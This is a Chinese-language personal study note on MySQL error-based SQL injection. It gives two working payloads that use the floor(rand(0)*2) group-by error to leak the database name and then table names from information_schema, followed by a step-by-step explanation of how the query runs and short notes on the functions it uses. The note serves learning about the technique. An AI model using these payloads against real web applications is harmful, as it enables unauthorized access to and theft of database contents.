mysql报错注入学习笔记 语句的执行

学习到mysql 数据库 利用报错进行注入,整理了一下个人的学习笔记,仅限于个人的理解。


数据库名--------注入语句   得到数据库名

and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x 

from information_schema.tables group by x)a) and 1=1

 mysql报错注入学习笔记 语句的执行


数据库.表名--------注入语句  得到数据库中的表名

and(select 1 from

(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x636D73 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x 

from information_schema.tables group by x)a

) and 1=1

 mysql报错注入学习笔记 语句的执行

    自己对表名注入语句的分析:

    首先执行绿色区域之间的语句, select table_name from information_schema.tables where talbe_schema=0x636D73 limit 1,1。这里的0x636D73是前面爆出的数据库名的16进制。第二步执行 cast() 函数 ,将表名转化为字符,然后执行hex()函数,将其转为16进制,最后执行concat()函数,将函数中括号内的内容连接起来。 

    浅黄语句为: select 绿色区域之间的语句;进行一次选择。含义:在浅黄语句中,执行一次绿色语句。

     浅紫色语句为:select 浅黄语句 from information_schema.talbes limit 0,1; 含义,在浅紫色区域中执行一次浅黄语句。

    下一步,concat() 函数    并将结果作为x  放到 group by  后执行

    下一步 执行  select count(*) from information_schema.talbes group by concat()浅紫色区域内的内容。

    最终执行 select 1 from 前面所得到的内容---深×××区域内容; 解释: 深×××区域会生成一个虚拟表,通过查询第一列,将深×××报错的内容显示出来。


函数的部分解释:

    cast()  数据类型转换

cast(expression  as data_type)     expression 任何有效的sql语句   as用于分隔两个参数,在as之前的是要处理的数据,在 as 之后是要转换的数据类型

data_type 数据类型  


    Concat()

没有分隔的连接字符串

至少两个参数

Eg select concat(‘ab’,’cd’); 



    Rand() 函数  产生从0-1之间的随机数

搭配使用  floor()

    Floor()

返回一个不大于x的最大整数

 

    Rand()

返回0到1之间的随机浮点数


另外,关于mysql报错注入的原理,我参考了红黑联盟的一篇文章,个人收获很大。将链接写在下面,

以备自己需要时进行查看。

                     http://www.2cto.com/article/201604/498394.html